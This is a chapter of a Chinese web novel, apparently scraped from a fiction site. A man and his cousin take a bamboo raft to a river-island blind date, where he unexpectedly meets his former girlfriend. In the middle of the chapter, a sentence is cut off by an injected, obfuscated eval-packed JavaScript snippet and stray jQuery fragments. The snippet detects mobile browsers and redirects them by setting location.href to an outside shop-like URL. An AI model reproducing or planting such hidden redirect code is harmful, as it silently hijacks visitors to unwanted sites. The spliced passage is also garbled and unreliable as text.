60. 29章结局二:命中注定

作品:《明日安在

    “要不你来投?”周行一看着手里这颗邪门的骰子直发怵,已经连续五次投出六点了,再投一个六点就真得去了。


    而经过昨天当堂审问式的那场相亲,周行一已经对这种无聊的活动彻底褪去了新鲜感。得知今天相亲的对象还有一位朋友陪同着,周行一本就有些摇摇欲坠的心彻底跌到悬崖底。


    但先前已经答应过妹妹,他又是一个十分好面子的人。先上车后补票的事情他已经做的够多了,而这一次,石兰时时刻刻都盯着他,一点余地都没留,加上必须要给家里人一个交代,只好强忍着不适硬着头皮来这里。


    石兰看着这神奇的骰子,心里也没底。连续掷出两次六点算是稀松平常,连续三次运气好。可现在连续五次,她意识到这一次是来真的了。


    可是,自己真的愿意让他去相亲吗?念头刚在心中产生,她直接给出了答案:不愿意。


    我还没登场呢,怎么可以就这样放弃一切可能草草结束呢?


    她想着总不该自己也投个六点的骰子出来吧!她知道是时候了,自己必须阻止这一切,来日方长,以后的事情还未可知,只要自己出手一切都还有变数。


    在他不断的催促下,石兰拿起骰子,“我先试一下。”


    果真是六点。


    幸好刚刚已经打了预防针,不然罪过自己可承担不起,“哥,还是你来吧!”


    他已经找不到任何推辞的理由,只得硬着头皮从妹妹手里拿回骰子,这一次他没有直接往桌上扔,而是选择抛向空中,让天来做决定。


    天让他去相亲。


    事已至此,已经没有回旋的余地,周行一只得悻悻的收回骰子,“看来命中注定该有此事。”


    石兰已经心如死灰,她什么都做不了,就像阻止不了凌立一样,“哥,去做你应该做的事吧。正像前些天说的那样,已经到了该做决断的时候了。”


    相亲地点是在河中心的小岛上,时间定在下午一点左右。


    介绍人说相亲对象是外县路人镇人,家里的独生女,从小便跟在沿海工作的父母身边上学,从没回来过。但随着前几年考学回主城加上父母上年纪后落叶归根的想法日益强烈,毕业后便一直待在主城,家里也将乡下房屋重修,用作以后养老。


    路人镇与西埔隔江相望,当然因为河中心这座小岛的存在,十一村并不能直接看见,只有九村和十二村能看见一点边边角角。周行一只是年少时在十村所在的山梁上远远瞧见对岸那些如同复制粘贴般的房屋拥挤在河边,占据着一整个山头。


    直到前几年周行一都不知道河对岸具体的名字,还是送石南回黄金镇时路过才知道路人镇,沿河而下便是白银镇,黄金镇。


    要去那河中央的小岛,普通人只有一条路线可以选择,便是开车到路人镇的摆渡码头,再乘摆渡船到小岛。


    原本他们也是这样做,车都已经开到城乡结合部,但这时看见旁边的回水湾里边有人正在回收橡皮艇,显然那些人刚刚用这橡皮艇在这里玩水。


    在他们边上还有很多人在钓鱼,想着时间还早停下车远远看着河边正有人收鱼竿,好几个人凑过去看,显然是钓上一条不小的。


    他的钓鱼瘾蹭蹭蹭地就上来了,“在这里甩一杆吧。”


    石兰还以为他反悔了,但这不这是自己所期望的吗?她先是努努嘴装作不满的样子,将脸撇到一边,“行吧,等下别忘了时间就好。”


    从后备箱里取出鱼竿来到人们聚集处,此刻,钓上鱼的人已经重新甩干出去坐在小板凳上拿着手机语音发个不停。


    兄妹俩走过去一看,一条约莫着十来斤的草鱼正在狭小的红桶里动弹不得,不断吐着气泡等待着最后时刻的来临。


    周行一只是拿着鱼竿在河边来回走着,迟迟没选定位置,石兰索性就坐在原地玩手机等他选好再过去。


    再抬头时,他已经跟回收橡皮艇的那家人攀谈上了,石兰走过去看见哥哥正摆弄着推进器,不时的点点头。


    等那家人把所有的东西都收回到车里离开后,周行一眼睛里依旧残留着掩饰不住的那股兴奋劲,他回头对妹妹说到,“他们说前面有卖推进器的,反正以后迟早都是要买的,回家装在竹筏上,这样就能直接上去了,还省一笔门票钱。”


    她当然知道哥哥并不是在征求自己的意见,只是例行公事般的通知自己而已,毕竟这几年哪一次不是这样,只好顺水推舟做个人情,“你自己看着办吧。”


    果然,话刚说完他就迫不及待的转身准备往回走,“那我们走吧。”


    根据那家人给的地址,他们很快便找到了卖推进器的地方,原来是家给打捞队做后勤的小店,同时也给附近的鱼塘老板提供器具。


    虽然比在网上搜索出来的价格贵上一些,不过现在已经不是计较这些的时候,毕竟这里还提供着维修的服务,又在兴头上,周行一很爽快的就付了款,拎着刚买的推进器一路火花带闪电全程超速往家里赶。


    虽然一直都知道他就是个一根筋,经常想一出是一出,却还没见过他像今天这么疯狂过,“哥,你慢点,我头有点晕。”


    “我都忘了车上还有你了,唉……”直到听到妹妹的抱怨,沉浸在自己世界里的周行一才意识到刚刚自己干了些什么,不住的开始道歉。


    “没把我往在路人镇就好。”眼瞅着已经快要到十一村,都快毕业了再说学校的不好已经太晚了,只能作罢。


    家里没人,正是干大事的好时候。


    仿佛做坏事时人类都有种无师自通的魔力,仅仅是看了一下安装视频,周行一就一步到位安好了推进器,连微信电话里准备指导的老板都说装得很到位,已经是最优解。


    忙完已是十二点,正是吃饭的时候,简单地对付了两口,他们便上竹筏准备往中心岛上去。


    按照在网上搜索出来的景点视频,冬季想上岛只能通过东北部的回水湾,其他地方不是岸边落差太大就是长满了荆棘。


    但那回水湾也是景区的唯一入口,自从整个岛被外县有关部门圈做景区后,现在肯定是不能从那里登陆,毕竟人家靠这个发家致富呢,总不能在人家眼皮子明目张胆的干这些事吧。


    好在十一村便能将岛南岸看个大概,加上家里有去年买的望远镜,很快便选定了登录地。


    正值春节期间,本就寥寥无几的过往船只更是踪迹全无,很顺利地,他们就到了进行挑选的登录地附近,为了不引起注意,在最后几十米的近岸区,周行一关闭了推进器,改用竹竿推进。


    “怎么感觉我们像是做贼一样。”石兰坐在船头,试着用牵引绳像电视里一样先套住岸边的一颗柏树,再将除法拉到岸边固定。


    “嘘!小点声。”周行一连忙冲着妹妹摆手让她小点声。


    好在岛足够大,这里也不属于游览区,根本就没人来这里巡逻,他们在这里耗费了十多分钟用来掉头绑绳,耳边除了呼呼的江风吹拂声便是滑动厨房时掀起的水花声。


    一切搞定上岸已是五十分,对方约的见面地点是在东北岸的渡轮码头。他们没来过这里,根本不知道到码头需要多久。


    本着相亲不能迟到被对方找到突破口的执念,沿着岛上的公路一路小跑着最后总算是在约定时间前到了码头附近的仿制城楼隘口。


    刚好有一艘渡轮靠岸,船上陆陆续续下来几十位游客。


    兄妹俩站在城楼上居高临下的看着这些游客从岸边的小路通过城楼这一唯一入口,瞧了半天,也没看出个所以然。


    “哥,你说哪一个是?”等那些人都通过城楼进入岛内的接待区,石兰也没看到有几个年纪相仿的女生,多半都是拖家带口的,“不会到时候是个老阿姨吧!这些媒婆最会骗人了,为了几千块介绍费什么瞎话都敢编。”


    周行一闻言顿时想起年前相亲的那个肥猪和势利眼,没见面前媒婆的话让他还以为对方是天上不食人间烟火的仙子,仅仅一个照面下来,他就后悔今年回家过年了。


    “应该不至于吧!这次介绍人是她的亲舅舅,跟我爸也认识,应该不会太差。再不济等下拒绝不就行了,反正都拒绝这么多个了,不差这一个。”周行一心里也没底,刚刚过来这么多人,年轻的就那么六七个,还都是成双成对的,哪有介绍人口中所说的跟一个同姓朋友一起过来的人。


    他正准备打电话问一下,就发现渡轮在接了几个回岸边的游客后便直接驶离了口岸,而对面停靠在路人渡口的那艘船也离开岸边往这边驶过来。


    “看样子应该在下一艘船里。”周行一看着这一切若有所思的说到,“可能刚刚过饭点,出来游览的人多了些,一艘船坐不下,分了两批。”


    “但愿如此。”她悻悻的地回答


    远远的,两艘船在江中心相会又错开,看着那船越来越近,兄妹俩的心跳的更快了。


    就在今日!


    随着船锚固定在岸边的木桩上,客轮顺利靠岸。一切稳当后,拥挤在船舱门口的游客迫不及待地想要登上岸。


    兄妹俩站在城楼角落,静静的看着上岸的人群排着队往这边走来,在前列的依然是一群全家出动的人,紧随其后的明显是几对小情侣,眼看游客都陆陆续续出舱完毕,还是没发现媒人口中所说的那样的两个人,周行一失望不已,“不会后面还要运一船人过来吧?这个破岛有那么多人来吗?”


    这时,从船舱里又走出两个人,尽管都带着差不多的鸭舌帽,但从他们背后束起的长发不难想见应该是两个女孩子。


    兄妹俩对视了一眼,知道大概就是这两个人了。


    石兰看着正发呆的哥哥说到,“哥,你猜是哪一个?前面的还是后面的那个拿着手机打电话的?”


    也是在此时,像是受到冥冥中的感应一样,走在前面的那个人忽然抬起头往城楼这边看了一眼,一瞬间,相关的三个人全都不淡定了。


    “怎么不继续走了?”走在后面的女孩注意力全集中在电话上,丝毫没意识到前面的朋友已经停下脚步,径直撞了上去。


    “没什么……”前面的女孩听到身后的朋友的声音,这才从刚刚的慌乱中镇定下来,“也许只是碰巧罢了。”她压低声音说到。


    这边的兄妹俩也是心乱如麻,等那两人进入城楼门而消失在视野中时,石兰才小声附在哥哥耳边小声说,“我想我知道今天为什么会全是六点了!”


    听到妹妹在这里说风凉话,周行一长在嘴里想说些什么却在那两人通过城楼楼梯上来打了声招呼后放弃了。


    “你们是来这里相亲的吗?”相亲对象在身后不远的地方冲他们喊到。


    周行一只好转过身装作一副刚刚才看见她们的模样,“哦……是的是的。”他又多说了几句确认真的是给自己介绍的相亲对象。


    “抱歉,其实我们很早就到了,不过渡口有毛病一样,非要一小时一班就这样耽搁了,希望你不要介意。”


    “没事没事,我们也是快要一点的时候才到的。”周行一强装着镇静依旧不改声色地回应她。


    “一点才到?那不就是上一班喽,可我们在入口没看见过你们啊!”女孩见他们一副不明所以的样子,便又解释起来,“我们十一点就到了码头,买了票之后又不敢提前上来怕耐不住先在岛上走一遍失了乐趣,便一直在登船通道附近聊天,顺便猜哪一个才是今天的相亲对象,但我们两个小时里都没见过两个穿着粉红色冲锋衣和黑色冲锋衣的人。”


    兄妹俩低头看着自己穿着的冲锋衣,明白对方若有所指,“这是我堂妹。”


    确认了他们的关系,对方总算是点点头松口了,“你的名字是?”


    “周行一。”他答到。


    她又看向石兰,在石兰也说了自己的名字后,她点点头,“周石兰?挺好的。”


    石兰本想纠正过来,却又对对面的跟班心有余悸,便不再做解释。


    “我姓王,可以叫我小王。那我们走吧。”


    路上,女孩问他们何时到岛上的,石兰实话实说。得知是坐竹筏上的岛,对面两人震惊不已,“你们可真够胆大的,现在不比以前了,这水这么深……”


    跟班又补充了一句,“那你们等下怎么回去?不会怎么来怎么去吧。”


    石兰斜着眼看向哥哥,让他自己交代。


    “应该吧。如果坐渡轮回去的话我们要转几趟车才能回西埔,太麻烦了。”


    相亲对象对此深以为然,“那确实。……年前去东桥找敏敏姐玩,要先从路人镇坐班车到城区,打出租到大桥处,换乘去溪口的班车,到了走路两公里到南桥,之后再坐班车才能到东桥,一路上折腾死我了……幸好回来的时候让她弟送我,不然天黑都到不了家。”说着说着,她不自觉地嘿嘿笑了起来。


    女孩子折腾起来有多会折腾,周行一总算是见识到了,“其实你可以先到外县客车站,那里有到北桥的直达车,经过东桥时下车就行了。就像你坐城区到黄金镇的直达班车然后在路人下车一样。”


    女孩闻言点点头,“原来还有直达的,看来还是你们常住在这里的人懂得多。”


    周行一又说到,“当然这些只限于东桥,要去我们西桥的话情况就完全不一样了,要更麻烦一些。先到北桥,再坐班车才能到西桥。”


    “说到东桥西桥……”女孩停下脚步给他们做介绍手指着旁边的跟班,“敏敏姐便是东桥人,我舅舅说要给我介绍一个西桥的人,我在这里认识的人不多,当时便想到敏敏姐帮我做下参谋,”


    不介绍还好,当做第一次见面打个马虎眼打打招呼就过去了。给两个本就认识的人做介绍,让他们尴尬在原地不知所措。


    石兰看这俩人在这装傻充愣一副完全不认识的样子只感到莫名的好笑,于是她对那女孩说到,“他们两个认识,以前还是同学呢。”


    女孩闻言大惊,“原来你们认识,那刚刚还装作……”


    有了石兰打破界定的这一嘴,原本有些生疏的几人开始熟络起来,只有周行一和跟班两人之间还比较腼腆,彼此之间很少说话,石兰都快成了两人之间的提词器和传话筒。


    因为是相亲,没谈几句就涉及到未来的规划,听到他十分肯定地说自己会一直呆在江城或是附近,女孩心里已经打起退堂鼓了。家里明确要求她要找一个工作在主城的人,最起码是过两年就会回到主城区工作的人,她是独生子女,家里的老人以后还需要她赡养,不可能再次远走他乡。


    于是她便将心里的话直接说了出来,免得后面耽误事,造成不必要的误会。


    周行一本就没报多大希望,毕竟已经相了这么多个,成功率有多低心里早已经跟明镜似的,“不过既然来都来了,我想还是沿着这路走一圈吧!至少不能糟蹋了这门票钱吧!”


    女孩听到他说糟蹋门票钱顿时笑出声,“好像你们没买门票吧!”


    “哪有,我们的门票还贵一些呢,两千多块!”


    女孩立即反应过来他说的是买推进器的事情,“那也是,怪我。”


    周行一急忙说到,“没有的事,就算没有今天这件事,迟早都会买的。过年呆在家里没什么事肯定会找点事情做的。”


    走下城墙沿着小路继续往里走便能看见岛上的游客集散地。他们在导游全景图前看了下,沿着岛屿的内城修建了一条环岛的快捷公路,每隔二十分钟便有从集散地逆时针绕岛一圈的观光车发车。


    周行一指着刚刚听靠竹筏的那个回水湾跟妹妹说到,“难怪我们刚刚在那里折腾十几分钟都没人来看一下,原来这岛还分内城和外城。我们停船的地方离最近的公路的有几百米了。”


    女孩看着导游图若有所思,“我看我们还是走路吧,岛上的路只有这一条,只要沿着路一直走就能走回来,路上还能多聊一聊。”


    周行一他们本就是这样的想法,只是照顾到他的感受而没说出口,见女孩主动提起便直接应下。


    他们在小店那买了几瓶水后跟着刚刚出发的游览车沿着公路开始走。


    景区是近两年才规划,岛上的基础设施都还在建设当中,很多东西都还是搭了个框架而已。


    沿着路不过百来米,便是第一处景点:一座蒙元战争时期的城楼遗址。几百年的风雨侵蚀过后,昔日坚固的城墙早已垮塌,只留下一些残砖碎瓦在搭建的铁皮棚下向人们展示着当年残酷的战争岁月。


    他们站在一旁专门搭建的玻璃栈道上看着已经面目全非的城楼感慨万千,小王说,“这座岛那时连续修了几十年的防御工事,几千人的血与泪啊,没想到一个照面下来就攻破了。”


    周行一对那段历史了解的不多,至少在大学之前,只是知道这座小岛属于外县管辖,上面住的人全都已经搬走,“老板都投降了,底下的员工哪有继续卖命的道理。”


    小王:“好像这里是被先攻破的吧,过两年皇帝才在崖山跳海。”


    周行一:“哪有,早几年攻破临安时结局便已经注定,后三年只是垃圾时间罢了,秋风扫落叶般就结束了。”


    对于历史,几个人半斤八两,谁声音大谁对。周行一说起话来中气十足,加上这是相亲不是辩论会,没必要非要争个高低对错,三言两语过后便认同了这一史实。


    现在道路继续往前走,他们发现路旁出现好多墓葬群。边上有一块介绍牌,上面显示这里出现的墓葬经过考究都是明清时期的墓葬。


    小王指着介绍牌说,“那宋元时期的去哪儿了?总不能那时候这里一个人都没有吧,那怎么守城?”


    跟班说到,“要是有个解说员就好了。可惜在景区……一言难尽。”


    小王回头看向兄妹俩,“行一,你不是说你就住在河对岸吗?你知道这些东西吗?”


    周行一摇摇头,“了解的很少。不过我想可能是因为那时候人确实比较少的缘故吧,加上宋元时期流行简葬。至少西桥在明清之前开发的很少,我想这岛大抵也是这样吧,只是在战争年代临时征用了一下而已,不过二三十年便弃用了。直到明清时期填四川之后加上人口爆炸后人才渐渐多了起来,墓葬当然也就多了。”


    他们一一走过路边的墓葬,发现修建的年代基本都是清朝中期以后的,不到两百年,全都已经绝祀无人祭拜,石碑上曾经清晰可见的碑文也在日月的蹉跎下被逐渐抹平,只能辨认出几个笔画少的字。


    周行一看着最后一块已经坍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236960|197623||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    塌的差不多了的墓,一时之间悲从心来,“能修得起这种大墓的以前可都是些老爷,这些石料全都是用船从外面运上来的。没想到这才过了百余年呐,就这样了!”


    石兰见他又开始犯病了,连忙让他赶紧打住,这可是在相亲呢,边上还有熟人看着呢,“这世上哪有什么东西是永恒的呢?就算是在天上的太阳几十亿年后不也同样会灰飞烟灭?更何况我们只是人,寿命只有短短几十年的人。”


    这时,跟班忽然说到,“十年前我就跟你说过,纠结这些东西没用。没想到这么多年过去了,你还揪着这些不放。”


    小王闻言顿感疑惑,“你们不是普通同学吗?怎么还说什么东西揪着不放?”


    见两人不说话,石兰只好替他们跟女孩解释,“什么普通同学,初中时便在一起了,只是后面分手了而已。”


    女孩再次被一整个震惊到了,“你们……”不过好在刚刚得知周行一没有在主城区发展的打算,加上一直对今天的相亲本就没什么期待,很快便释然了,“你们刚刚还装作那副样子,真是够够的。看来我今天还是来对了,正好还你一个人情。”


    接着女孩又说到,“我想这便是缘分吧!敏敏姐也没男朋友,你们何不再试一下呢?”


    文敏原以为她会介意,刚刚才会一直逃避,没想到她根本没有那层意思,于是转过身怔怔的看着周行一,“可是……”


    小王哪管这些,两只手分别牵着他们两个人的手合在一起,看着他们别扭的样子,“怎么还害羞了?以前难道还没牵过?”


    文敏低着头不敢再看,“当然……牵过手,这么多年都过去了……”


    女孩见有戏,便朝着石兰挤眉弄眼暗示她,“你们自己慢慢叙旧吧!我跟石兰到处逛逛。”


    石兰心里虽然百般不情愿,但通过今天发生的事情,他也知道没了可能,“我们走吧。”


    身旁没了电灯泡,文敏这才稍稍勇敢一些,“你不是有女朋友吗?叫什么郑凌立”


    周行一很确定自己没有文敏的好友,听到他知道郑凌立,还以为又是石兰惹得事情,“你怎么知道的?”


    “你发朋友圈了。”文敏说,“我有周钰的微信,她告诉我的。”


    周行一可从来没发这种朋友圈,想来肯定是石兰她们俩国庆节时拿着自己的手机发的,“当时迫不得已,吵着闹着非要我答应,没办法只能先哄着。后面找了个时间就跟她说清楚了。”


    文敏知道他不会在这种事情上撒谎,却又对此耿耿于怀,“不愧是你,周航一。我有看过照片,那么一个漂亮的女孩子主动倒贴你都不要,年纪还比你小六七岁。”


    周行一说到,“她跟石兰太熟了,有点怕影响到她们的关系。再说她很内向,又过于敏感脆弱,不是很感冒这种类型的。”


    文敏知道他的脑回路一直都挺清奇的,没想到现在已经进化到这种地步了,“真有你的。以前谈的那个姓韩的跟她不也是大差不差的?还没郑凌立好看,那时都能接受,你怎么越活越回去了?”


    “以前是以前,现在是现在。人是会变的,那是想的东西和现在怎么可能一样?”周行一意有所指的回应到。


    文敏知道他还在纠结六年前的事,便说到,“我们都在变不是吗?以前的想法确实过于幼稚了,但不都是从幼稚过来的吗?”


    对于以前,周行一已经早已放下,况且当初确实是自己有错在先,“这些我都明白,但是……算了,过去的都过去了。”他想了一下,终究还是没将那些话说出口。


    话说到这里两人便默契的都不再说话,继续沿着路往前走。经过刚刚开始开发的跑马场和草地后,向岛中望去便是几栋民居和一大片梯田,从岛的最高点一直延伸到渡口。


    草地上有一些卖小吃的商家,石兰她们两个正在那里等烤肠烤好,见他们也过来了,便又要了两根。


    等他们稍微靠近一些,石兰迫不及待地拿起一根冲他们招手,“哥,你们来的正是时候,刚烤好的。”


    周行一走到跟前结果妹妹手里递过来的两根烤肠,给了文敏一个,“什么时候都不忘了吃,真有你的。”


    石兰将手里的吃完后又从哥哥手里拿回他的,一点不带犹豫的就咬了下去,见文敏他们传来怪异的眼神慌忙解释到,“我哥一直都说这是垃圾食品,里面全是死猪肉和淀粉,从来不吃的。他拿过去一直放在手里是想吃的模样吗?”


    周行一确实从来不吃这种东西,不过……当着别人的面说的这些东西……人家嘴里还吃着呢,一口一个垃圾食品……


    几根胡椒肠下肚后,石兰总算是在他们一再的催促声中恋恋不舍的离开这里,继续往前走。


    穿过卖烤肠的草地,有两条路可以选择。一是沿着山脊修建的环绕村落的公路,而当然便是选择直穿村落走近路。


    他们看着脚下那显然是为了迎接游客而新修建的房屋,顿时就没了兴趣,选择了第一条路。


    因为岛上的原住民二十年前已经全部都搬走,四周又重新为树木所占据。


    看着眼前郁郁葱葱已经长大成林的一众柏树,周行一抚摸着路边其中一颗碗口粗的,估摸着它的树龄,“四五岁还不用干农活,唯一的乐趣就是坐在岸边看这岛上的人们做农活。那时候岛上还有很多人,到处都是开垦出来的耕地,只有零零散散几棵树。后来他们陆陆续续都搬走,很长一段时间内都没看见岛上有人,当时还不知道发生了什么。直到几个月后我们也从十村搬到了十一村才知道他们永远离开了。后来江水慢慢涨上来,原来那些滩涂地就这样永远淹没在水底下。岛上的树也越来越多,多到将原先的山坡上耕地全都密不透风地笼罩着。从此以后,在河的那一边,除了这漫山遍野的树就什么也看不见了。”


    沿着观光路一直走,到处都残留着以前的平整的耕地的样子,只是如今这里都不再有人们劳作的身影了。


    终于绕到村居的另一侧的山脊,透过这里树林中的空隙,周行一很轻易地就看见了十一村,“原来这棵榕树再往上走便是岛上的居民区。以前在哪地方高度不够,我还一直以为在北岸呢,原来是在山坳里。”


    继续往前走,她们又发现了一些有意思的东西,例如一整片长满了野地瓜藤蔓的坡地,被水淹没的红杉。


    人们走后,这里又恢复了生机。


    不知走了多久,看见了远处的游客集散地,以为行程快要到终点时,他们看见前面有一块指示牌:灯塔。


    江中心岛上有一个灯塔并不稀奇,周行一他们在家中的院子里看过无数遍。但文敏却执意要看,剩下的三人本着来都来了的想法便同意了。


    凭借直觉,他们在几条小路中精准的找到了这座位于小岛边缘突出区域的孤零零的灯塔。


    文敏站在灯塔的基台上,倚靠着栏杆,将手机递给了台下的闺蜜,请求她帮自己拍一张照。


    小王想都没想就将手机转手准备递给周行一,“让他帮你拍吧。”


    周行一本想拒绝,不过伸手还不打笑脸人呢,最后还是接了手机,拍了两张后将手里这个烫手山芋赶紧交还回去。


    “小时候在凤凰岭时,有时往这边看便能看见有一束光在天空中扫来扫去,模样就跟每一个停电的晚上爷爷从抽屉里拿出来的发着黄色的光的手电筒一样。”


    她试着打开这早已经废弃的灯塔入口处的铁门,却发现那里上着锁,她只好从基台上下来,边走边继续说到,“我那时就在想,那里的手电筒得有多大啊。后来上了中学才知道,原来是灯塔发出来的光。”


    她自顾自地边走边说着,全然没看见周行一他们不断变化的神色。


    直到……


    “姐,你是凤凰岭的?你不是东桥的吗?”


    “难道凤凰岭还是西桥的啊,三年级之前我一直都在那里。后来小学被拆了。我就回东桥外婆家了。”


    石兰侧过脸试图看清哥哥的神色,却发现他已经避免尴尬提前回头往来时的路走去,果然又当逃兵了,什么时候是个头啊,她看着这不争气的哥哥直摇头。


    顺利回到集散地后,就到了分开的时候。小王主动提起文敏没开车,回家还需要到城区转车的事情。任谁来了都知道她意有所指,但遇见周行一这种只知道装傻充愣的人却毫无办法,“你不是有车吗?怎么不开车过来?”


    石兰见此只好送佛送到西,“我们的竹筏再坐一个人肯定没问题,要不跟我们一起去十一村吧,然后我哥送你回去。不过就怕姐你坐竹筏有些怕,毕竟没救生衣一类的东西。”


    文敏没给他再发挥的空间,直接阴阳怪气地说到,“安全问题不用操心,你哥同不同意送我回去还得问一下。”


    周行一没想到临了被她们联手摆了一道,却又无可奈何,“行吧。”


    目送小王登上渡轮离开这里,周行一终于认清了现实,他已经无处可逃了,“走吧。这里离停竹筏的地方还有些距离呢。”


    回去路上,石兰一直拿着手机字打个不停,惹得周行一几次让她走快一点。


    竹筏靠岸后,看着一家人整整齐齐坐在院子里看着自己,他才知道一路上石兰都干了些什么。